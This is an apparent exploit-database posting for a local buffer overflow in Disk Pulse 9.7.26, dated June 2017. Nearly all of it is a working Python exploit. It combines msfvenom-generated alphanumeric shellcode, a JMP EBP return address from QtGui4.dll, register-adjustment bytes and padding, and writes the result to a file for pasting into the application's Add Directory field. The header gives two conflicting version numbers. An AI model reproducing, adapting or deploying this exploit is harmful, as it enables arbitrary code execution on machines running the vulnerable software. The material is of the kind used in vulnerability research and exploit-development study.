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Disk Pulse 9.7.26 Buffer Overflow

Disk Pulse 9.7.26 Buffer Overflow
Posted Jun 13, 2017
Authored by abatchy17

Disk Pulse version 9.7.26 suffers from an add directory local buffer overflow vulnerability.

tags | exploit, overflow, local
SHA-256 | 422fd6fd405bf96a6edca78c73a7390c18f4b15750cafaab2d0ffb62a593cae7

Disk Pulse 9.7.26 Buffer Overflow

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#!/usr/bin/python

###############################################################################
# Exploit Title: Disk Pulse v9.7.26 - Add Directory Local Buffer Overflow
# Date: 12-06-2017
# Exploit Author: abatchy17 -- @abatchy17
# Vulnerable Software: Disk Pulse v9.7.26 (Freeware, Pro, Ultimate)
# Vendor Homepage: http://www.diskpulse.com/
# Version: 9.7.14
# Software Link: http://www.diskpulse.com/downloads.html (Freeware, Pro, Ultimate)
# Tested On: Windows XP SP3 (x86), Win7 SP1 (x86)
#
# To trigger the exploit:
# 1. Under Directories, click the plus sign
# 2. Paste content of exploit.txt in Add Directory textbox.
#
# <--- Marry and reproduce --->
#
##############################################################################

a = open("exploit.txt", "w")

badchars = "\x0a\x0d\x2f"

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f"
buf = ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"

# 0x651c541f : jmp ebp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\Disk Pulse\bin\QtGui4.dll)

jmpebp = "\x1f\x54\x1c\x65" # Why JMP EBP? Buffer at ESP is split, bad! Example: EBP: AAA\BBB, ESP -> AAA (without the \BBB part)

llamaleftovers = (
"\x55" # push EBP
"\x58" # pop EAX
"\x05\x55\x55\x55\x55" # add EAX, 0x55555555
"\x05\x55\x55\x55\x55" # add EAX, 0x55555555
"\x05\x56\x56\x55\x55" # add EAX, 0x55555656 -> EAX = EBP + 0x200
"\x40" # inc EAX, shellcode generated should start exactly here (EBP + 0x201) as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
)

junk = "\x55" + "\x53\x5b" * 107

data = "A"*4096 + jmpebp + "\x40\x48" * 20 + llamaleftovers + junk + buf

a.write(data)
a.close()

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